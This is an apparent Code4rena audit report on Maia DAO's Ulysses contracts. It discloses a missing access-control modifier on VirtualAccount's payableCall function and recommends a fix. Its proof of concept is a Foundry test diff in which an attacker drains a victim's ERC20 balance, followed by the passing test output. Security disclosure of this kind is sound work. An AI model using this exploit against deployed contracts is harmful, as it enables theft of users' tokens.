Maia DAO - Ulysses - _eperezok's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Unlike the rest of the non-pure external functions in VirtualAccount.sol, payableCall is not making use of the requiresApprovedCaller modifier, thus not imposing any restrictions on msg.sender.

Impact

The impact of this issue is huge, since it is trivial for anyone to execute arbitrary calls on behalf of the actual owner of the virtual account.

In particular, and since the VirtualAccount is expected to hold ERC20, ERC721 and ERC1155 tokens, an attacker can drain the balance of any of these tokens by making calls to their respective contracts through the payableCall function.

Proof of Concept

The following PoC is a modified version of the MulticallRootRouterTest.testMulticallSignedNoOutputDepositSingle test, that shows how an attacker (Bob) can transfer all the ERC20 tokens on the victim’s virtual account to himself.

diff --color test/ulysses-omnichain/MulticallRootRouterTest2.t.sol test/ulysses-omnichain/MulticallRootRouterTest.t.sol
5a6,7
> import {IVirtualAccount, PayableCall} from "@omni/interfaces/IVirtualAccount.sol";
>
388a391,457
>     }
>
>     function testMulticallSignedNoOutputDepositSingleExploit() public {
>         // Add Local Token from Avax
>         testSetLocalToken();
>
>         Multicall2.Call[] memory calls = new Multicall2.Call[](1);
>
>         // Prepare call to transfer 100 hAVAX form virtual account to Mock App (could be bribes)
>         calls[0] = Multicall2.Call({
>             target: newAvaxAssetGlobalAddress,
>             callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 50 ether)
>         });
>
>         // RLP Encode Calldata
>         bytes memory data = encodeCalls(abi.encode(calls));
>
>         // Pack FuncId
>         bytes memory packedData = abi.encodePacked(bytes1(0x01), data);
>
>         // Call Deposit function
>         encodeCallWithDeposit(
>             payable(avaxMulticallBridgeAgentAddress),
>             payable(multicallBridgeAgent),
>             _encodeSigned(
>                 1,
>                 address(this),
>                 address(avaxNativeAssethToken),
>                 address(avaxNativeToken),
>                 100 ether,
>                 100 ether,
>                 packedData
>             ),
>             GasParams(0.5 ether, 0.5 ether),
>             avaxChainId
>         );
>
>         uint256 balanceTokenVirtualAccountAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount);
>
>         // Victim virtual account's initial balance.
>         require(balanceTokenVirtualAccountAfter == 50 ether, "Balance should be added");
>
>         // Bob will be the attacker, who wants to drain the `userVirtualAccount`.
>         address BOB = address(0xb0b);
>
>         // Bob doesn't have any tokens.
>         assertEq(0, MockERC20(newAvaxAssetGlobalAddress).balanceOf(BOB));
>
>         // Bob prepares a call to the token contract, to transfer all the balance
>         // of the `userVirtualAccount` to himself.
>         PayableCall memory call = PayableCall({
>             target: newAvaxAssetGlobalAddress,
>             callData: abi.encodeWithSignature("transfer(address,uint256)", BOB, 50 ether),
>             value: 0
>         });
>
>         PayableCall[] memory _calls = new PayableCall[](1);
>         _calls[0] = call;
>
>         hevm.startPrank(BOB);
>
>         // Bob executes the malicious call through the victim's virtual account.
>         IVirtualAccount(userVirtualAccount).payableCall(_calls);
>
>         // Bob has drained the virtual account and transferred all the tokens to himself.
>         assertEq(50 ether, MockERC20(newAvaxAssetGlobalAddress).balanceOf(BOB));
>         assertEq(0, MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount));

Running this test,

forge test --mc MulticallRootRouterTest --mt testMulticallSignedNoOutputDepositSingleExploit

we get the following output:

Running 1 test for test/ulysses-omnichain/MulticallRootRouterTest.t.sol:MulticallRootRouterTest
[PASS] testMulticallSignedNoOutputDepositSingleExploit() (gas: 1634685)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.47ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

On VirtualAccount.sol#L85, add the requiresApprovedCaller modifier to the payableCall function, so it looks like this:

function payableCall(PayableCall[] calldata calls)
    public
    payable
    requiresApprovedCaller
    returns (bytes[] memory returnData)
{
    // ...
}

Assessed type

Access Control